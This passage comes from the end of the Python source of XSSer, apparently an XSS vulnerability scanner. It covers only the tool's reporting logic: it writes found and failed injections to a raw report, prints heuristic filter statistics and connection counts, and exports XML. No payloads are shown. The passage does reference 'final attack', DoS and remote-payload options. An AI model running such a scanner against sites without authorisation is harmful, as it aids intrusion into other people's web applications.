  3253. else:
  3254. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3255. fout.write("="*75 + "\n\n")
  3256. elif line[1] == "[Heuristic test]":
  3257. if len(self.hash_found) < 11:
  3258. if line[4]:
  3259. self.report("[+] Target:", line[6] + " | " + line[4])
  3260. else:
  3261. self.report("[+] Target:", line[6])
  3262. self.report("[+] Vector: [ " + str(line[3]) + " ]")
  3263. self.report("[!] Method:", line[2])
  3264. self.report("[*] Payload:", line[5])
  3265. self.report("[!] Status: NOT FILTERED!", "\n", '-'*50, "\n")
  3266. if self.options.fileoutput:
  3267. fout.write("="*75)
  3268. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3269. fout.write("="*75 + "\n\n")
  3270. for line in self.hash_found:
  3271. if line[4]:
  3272. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[3]) + " ]\n\n[!] Method: heuristic" + " \n\n[*] Payload: \n\n " + str(line[5]) + "\n\n[!] Status: NOT FILTERED!\n\n")
  3273. else:
  3274. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[3]) + " ]\n\n[!] Method: heuristic" + " \n\n[*] Payload: \n\n " + str(line[5]) + "\n\n[!] Status: NOT FILTERED!\n\n")
  3275. fout.write("="*75 + "\n\n")
  3276. else:
  3277. self.auto_found = self.auto_found + 1
  3278. if len(self.hash_found) < 11:
  3279. if line[4]: # when query string
  3280. self.report("[+] Target:", line[6] + " | " + line[4])
  3281. else:
  3282. self.report("[+] Target:", line[6])
  3283. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3284. self.report("[!] Method: URL")
  3285. self.report("[*] Hash:", line[3])
  3286. self.report("[*] Payload:", line[0])
  3287. self.report("[!] Vulnerable:", line[1])
  3288. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3289. self.report("[*] Final Attack:", attack_url)
  3290. if self.token_arrived_flag == True:
  3291. self.report("[!] Status: XSS FOUND! [100% VULNERABLE]", "\n", '-'*50, "\n")
  3292. else:
  3293. if self.options.reversecheck:
  3294. self.report("[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]", "\n", '-'*50, "\n")
  3295. else:
  3296. self.report("[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]", "\n", '-'*50, "\n")
  3297. if self.options.fileoutput:
  3298. fout.write("="*75)
  3299. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3300. fout.write("="*75 + "\n\n")
  3301. for line in self.hash_found:
  3302. if line[4]:
  3303. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3304. if self.token_arrived_flag == True:
  3305. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3306. else:
  3307. if self.options.reversecheck:
  3308. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3309. else:
  3310. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3311. else:
  3312. if self.token_arrived_flag == True:
  3313. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3314. else:
  3315. if self.options.reversecheck:
  3316. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3317. else:
  3318. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3319. else:
  3320. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3321. if self.token_arrived_flag == True:
  3322. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3323. else:
  3324. if self.options.reversecheck:
  3325. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3326. else:
  3327. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3328. else:
  3329. if self.token_arrived_flag == True:
  3330. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3331. else:
  3332. if self.options.reversecheck:
  3333. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3334. else:
  3335. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3336. fout.write("="*75 + "\n\n")
  3337. if self.options.fileoutput:
  3338. fout.close()
  3339. if self.options.fileoutput and not self.options.filexml:
  3340. self.report("[Info] Generating report: [ XSSreport.raw ]\n")
  3341. self.report("-"*25+"\n")
  3342. if self.options.fileoutput and self.options.filexml:
  3343. self.report("[Info] Generating report: [ XSSreport.raw ] | Exporting results to: [ " + str(self.options.filexml) + " ] \n")
  3344. self.report("-"*25+"\n")
  3345. if len(self.hash_found) > 10 and not self.options.fileoutput: # write results fo file when large output (white magic!)
  3346. if not self.options.filexml:
  3347. self.report("[Info] Aborting large screen output. Generating auto-report at: [ XSSreport.raw ] ;-)\n")
  3348. self.report("-"*25+"\n")
  3349. fout = open("XSSreport.raw", "w") # write better than append
  3350. fout.write("="*75)
  3351. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3352. fout.write("="*75 + "\n\n")
  3353. for line in self.hash_found:
  3354. if line[4]:
  3355. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3356. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3357. else:
  3358. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
  3359. else:
  3360. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3361. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3362. else:
  3363. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
  3364. fout.write("="*75 + "\n\n")
  3365. fout.close()
  3366. else:
  3367. self.report("[Info] Exporting results to: [ " + str(self.options.filexml) + " ]\n")
  3368. self.report("-"*25+"\n")
  3369. # heuristic always with statistics
  3370. if self.options.heuristic:
  3371. heuris_semicolon_total_found = self.heuris_semicolon_found + self.heuris_une_semicolon_found + self.heuris_dec_semicolon_found
  3372. heuris_backslash_total_found = self.heuris_backslash_found + self.heuris_une_backslash_found + self.heuris_dec_backslash_found
  3373. heuris_slash_total_found = self.heuris_slash_found + self.heuris_une_slash_found + self.heuris_dec_slash_found
  3374. heuris_minor_total_found = self.heuris_minor_found + self.heuris_une_minor_found + self.heuris_dec_minor_found
  3375. heuris_mayor_total_found = self.heuris_mayor_found + self.heuris_une_mayor_found + self.heuris_dec_mayor_found
  3376. heuris_doublecolon_total_found = self.heuris_doublecolon_found + self.heuris_une_doublecolon_found + self.heuris_dec_doublecolon_found
  3377. heuris_colon_total_found = self.heuris_colon_found + self.heuris_une_colon_found + self.heuris_dec_colon_found
  3378. heuris_equal_total_found = self.heuris_equal_found + self.heuris_une_equal_found + self.heuris_dec_equal_found
  3379. total_heuris_found = heuris_semicolon_total_found + heuris_backslash_total_found + heuris_slash_total_found + heuris_minor_total_found + heuris_mayor_total_found + heuris_doublecolon_total_found + heuris_colon_total_found + heuris_equal_total_found
  3380. total_heuris_params = total_heuris_found + self.heuris_semicolon_found + self.heuris_backslash_found + self.heuris_slash_found + self.heuris_minor_found + self.heuris_mayor_found + self.heuris_doublecolon_found + self.heuris_colon_found + self.heuris_equal_found
  3381. total_heuris_notfound = self.heuris_semicolon_notfound + self.heuris_backslash_notfound + self.heuris_slash_notfound + self.heuris_minor_notfound + self.heuris_mayor_notfound + self.heuris_doublecolon_notfound + self.heuris_colon_notfound + self.heuris_equal_notfound
  3382. if total_heuris_notfound > 0: # not shown when not found
  3383. self.options.statistics = True
  3384. # some statistics reports
  3385. if self.options.statistics:
  3386. # heuristic test results
  3387. if self.options.heuristic:
  3388. self.report("\n"+'='*75)
  3389. self.report("[+] Heuristics:")
  3390. self.report('='*75)
  3391. test_time = datetime.datetime.now() - self.time
  3392. self.report("\n" + '-'*50)
  3393. self.report("Test Time Duration: ", test_time)
  3394. self.report('-'*50 )
  3395. total_connections = total_heuris_found + total_heuris_notfound
  3396. self.report("Total fuzzed:", total_connections)
  3397. self.report('-'*75)
  3398. self.report(' ', " <FILTERED!>", " <NOT FILTERED!>", " =" , " ASCII", "+", "UNE/HEX", "+", "DEC")
  3399. # semicolon results
  3400. self.report('; ', " ", self.heuris_semicolon_notfound, " ",
  3401. heuris_semicolon_total_found, " ",
  3402. self.heuris_semicolon_found, " ",
  3403. self.heuris_une_semicolon_found, " ",
  3404. self.heuris_dec_semicolon_found)
  3405. # backslash results
  3406. self.report('\\ ', " ", self.heuris_backslash_notfound, " ",
  3407. heuris_backslash_total_found, " ",
  3408. self.heuris_backslash_found, " ",
  3409. self.heuris_une_backslash_found, " ",
  3410. self.heuris_dec_backslash_found)
  3411. # slash results
  3412. self.report("/ ", " ", self.heuris_slash_notfound, " ",
  3413. heuris_slash_total_found, " ",
  3414. self.heuris_slash_found, " ",
  3415. self.heuris_une_slash_found, " ",
  3416. self.heuris_dec_slash_found)
  3417. # minor results
  3418. self.report("< ", " ", self.heuris_minor_notfound, " ",
  3419. heuris_minor_total_found, " ",
  3420. self.heuris_minor_found, " ",
  3421. self.heuris_une_minor_found, " ",
  3422. self.heuris_dec_minor_found)
  3423. # mayor results
  3424. self.report("> ", " ", self.heuris_mayor_notfound, " ",
  3425. heuris_mayor_total_found, " ",
  3426. self.heuris_mayor_found, " ",
  3427. self.heuris_une_mayor_found, " ",
  3428. self.heuris_dec_mayor_found)
  3429. # doublecolon results
  3430. self.report('" ', " ", self.heuris_doublecolon_notfound, " ",
  3431. heuris_doublecolon_total_found, " ",
  3432. self.heuris_doublecolon_found, " ",
  3433. self.heuris_une_doublecolon_found, " ",
  3434. self.heuris_dec_doublecolon_found)
  3435. # colon results
  3436. self.report("' ", " ", self.heuris_colon_notfound, " ",
  3437. heuris_colon_total_found, " ",
  3438. self.heuris_colon_found, " ",
  3439. self.heuris_une_colon_found, " ",
  3440. self.heuris_dec_colon_found)
  3441. # equal results
  3442. self.report("= ", " ", self.heuris_equal_notfound, " ",
  3443. heuris_equal_total_found, " ",
  3444. self.heuris_equal_found, " ",
  3445. self.heuris_une_equal_found, " ",
  3446. self.heuris_dec_equal_found)
  3447. self.report('-'*75)
  3448. try:
  3449. _accur = total_heuris_found * 100 / total_heuris_params
  3450. except ZeroDivisionError:
  3451. _accur = 0
  3452. self.report('Target(s) Filtering Accur: %s %%' % _accur)
  3453. self.report('-'*75)
  3454. # statistics block
  3455. if len(self.hash_found) + len(self.hash_notfound) == 0:
  3456. pass
  3457. if self.options.heuristic:
  3458. pass
  3459. else:
  3460. self.report('='*75)
  3461. self.report("[+] Statistics:")
  3462. self.report('='*75)
  3463. test_time = datetime.datetime.now() - self.time
  3464. self.report("\n" + '-'*50)
  3465. self.report("Test Time Duration: ", test_time)
  3466. self.report('-'*50 )
  3467. total_connections = self.success_connection + self.not_connection + self.forwarded_connection + self.other_connection
  3468. self.report("Total Connections:", total_connections)
  3469. self.report('-'*25)
  3470. self.report("200-OK:" , self.success_connection , "|", "404:" ,
  3471. self.not_connection , "|" , "503:" ,
  3472. self.forwarded_connection , "|" , "Others:",
  3473. self.other_connection)
  3474. try:
  3475. _accur = self.success_connection * 100 / total_connections
  3476. except ZeroDivisionError:
  3477. _accur = 0
  3478. self.report("Connec: %s %%" % _accur)
  3479. self.report('-'*50)
  3480. total_payloads = self.check_positives + self.manual_injection + self.auto_injection + self.dcp_injection + self.dom_injection + self.xsa_injection + self.xsr_injection + self.coo_injection
  3481. self.report("Total Payloads:", total_payloads)
  3482. self.report('-'*25)
  3483. self.report("Checker:", self.check_positives, "|", "Manual:",
  3484. self.manual_injection, "|" , "Auto:" ,
  3485. self.auto_injection ,"|", "DCP:",
  3486. self.dcp_injection, "|", "DOM:", self.dom_injection,
  3487. "|", "Induced:", self.httpsr_injection, "|" , "XSR:",
  3488. self.xsr_injection, "|", "XSA:",
  3489. self.xsa_injection , "|", "COO:",
  3490. self.coo_injection)
  3491. self.report('-'*50)
  3492. self.report("Total Injections:" ,
  3493. len(self.hash_notfound) + len(self.hash_found))
  3494. self.report('-'*25)
  3495. self.report("Failed:" , len(self.hash_notfound), "|",
  3496. "Successful:" , len(self.hash_found))
  3497. try:
  3498. _accur = len(self.hash_found) * 100 / total_injections
  3499. except ZeroDivisionError:
  3500. _accur = 0
  3501. self.report("Accur : %s %%" % _accur)
  3502. self.report("\n" + '='*50)
  3503. total_discovered = self.false_positives + self.manual_found + self.auto_found + self.dcp_found + self.dom_found + self.xsr_found + self.xsa_found + self.coo_found
  3504. self.report("\n" + '-'*50)
  3505. self.report("Total XSS Discovered:", total_discovered)
  3506. self.report('-'*50)
  3507. self.report("Checker:", self.false_positives, "|",
  3508. "Manual:",self.manual_found, "|", "Auto:",
  3509. self.auto_found, "|", "DCP:", self.dcp_found,
  3510. "|", "DOM:", self.dom_found, "|", "Induced:",
  3511. self.httpsr_found, "|" , "XSR:", self.xsr_found,
  3512. "|", "XSA:", self.xsa_found, "|", "COO:",
  3513. self.coo_found)
  3514. self.report('-'*50)
  3515. self.report("False positives:", self.false_positives, "|",
  3516. "Vulnerables:",
  3517. total_discovered - self.false_positives)
  3518. self.report('-'*25)
  3519. # efficiency ranking:
  3520. # algor= vulnerables + false positives - failed * extras
  3521. mana = 0
  3522. h_found = 0
  3523. for h in self.hash_found:
  3524. h_found = h_found + 1
  3525. if h_found > 3:
  3526. mana = mana + 4500
  3527. if h_found == 1:
  3528. mana = mana + 500
  3529. if self.options.reversecheck:
  3530. mana = mana + 200
  3531. if total_payloads > 100:
  3532. mana = mana + 150
  3533. if not self.options.xsser_gtk:
  3534. mana = mana + 25
  3535. if self.options.discode:
  3536. mana = mana + 100
  3537. if self.options.proxy:
  3538. mana = mana + 100
  3539. if self.options.threads > 9:
  3540. mana = mana + 100
  3541. if self.options.heuristic:
  3542. mana = mana + 100
  3543. if self.options.finalpayload or self.options.finalremote:
  3544. mana = mana + 100
  3545. if self.options.script:
  3546. mana = mana + 100
  3547. if self.options.Cem or self.options.Doo:
  3548. mana = mana + 75
  3549. if self.options.heuristic:
  3550. mana = mana + 50
  3551. if self.options.script and not self.options.fuzz:
  3552. mana = mana + 25
  3553. if self.options.followred and self.options.fli:
  3554. mana = mana + 25
  3555. if self.options.wizard:
  3556. mana = mana + 25
  3557. if self.options.dcp:
  3558. mana = mana + 25
  3559. if self.options.hash:
  3560. mana = mana + 10
  3561. mana = (len(self.hash_found) * mana) + mana
  3562. # enjoy it :)
  3563. self.report("Mana:", mana)
  3564. self.report("")
  3565. c = Curl()
  3566. if not len(self.hash_found) and self.hash_notfound:
  3567. if self.options.hash:
  3568. if self.options.statistics:
  3569. self.report('='*75 + '\n')
  3570. self.report("[Info] Target isn't replying to the input [ --hash ] sent!\n")
  3571. else:
  3572. if self.options.target or self.options.heuristic:
  3573. self.report("")
  3574. if self.options.heuristic:
  3575. pass
  3576. else:
  3577. if self.options.statistics:
  3578. self.report('='*75 + '\n')
  3579. if self.options.fileoutput:
  3580. fout = open("XSSreport.raw", "w") # write better than append
  3581. fout.write("="*75)
  3582. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3583. fout.write("="*75 + "\n\n")
  3584. for h in self.hash_notfound:
  3585. if h[2] == 'heuristic':
  3586. if not h[4]:
  3587. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + "\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n" + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3588. else:
  3589. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3590. elif h[2] == 'hashing check':
  3591. if not h[4]:
  3592. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + "\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n" + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3593. else:
  3594. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3595. else:
  3596. if h[4]:
  3597. if h[2] == "XSA":
  3598. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3599. elif h[2] == "XSR":
  3600. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3601. elif h[2] == "COO":
  3602. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3603. else:
  3604. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + h[1] + "\n\n[!] Status: XSS FAILED!\n\n")
  3605. else:
  3606. if h[2] == "XSA":
  3607. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3608. elif h[2] == "XSR":
  3609. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3610. elif h[2] == "COO":
  3611. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3612. else:
  3613. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + h[1] + "\n\n[!] Status: XSS FAILED!\n\n")
  3614. fout.write("="*75 + "\n\n")
  3615. fout.close()
  3616. else:
  3617. # some exits and info for some bad situations:
  3618. if len(self.hash_found) + len(self.hash_notfound) == 0 and not Exception:
  3619. self.report("\n[Error] XSSer cannot send any data... maybe -something- is blocking connection(s)!?\n")
  3620. if len(self.hash_found) + len(self.hash_notfound) == 0 and self.options.crawling:
  3621. if self.options.xsser_gtk:
  3622. self.report('='*75)
  3623. self.report("\n[Error] Not any feedback from crawler... Aborting! :(\n")
  3624. self.report('='*75 + '\n')
  3625. # print results to xml file
  3626. if self.options.filexml:
  3627. xml_report_results = xml_reporting(self)
  3628. try:
  3629. xml_report_results.print_xml_results(self.options.filexml)
  3630. except:
  3631. return
  3632. if __name__ == "__main__":
  3633. app = xsser()
  3634. options = app.create_options()
  3635. if options:
  3636. app.set_options(options)
  3637. app.run()
  3638. app.land(True)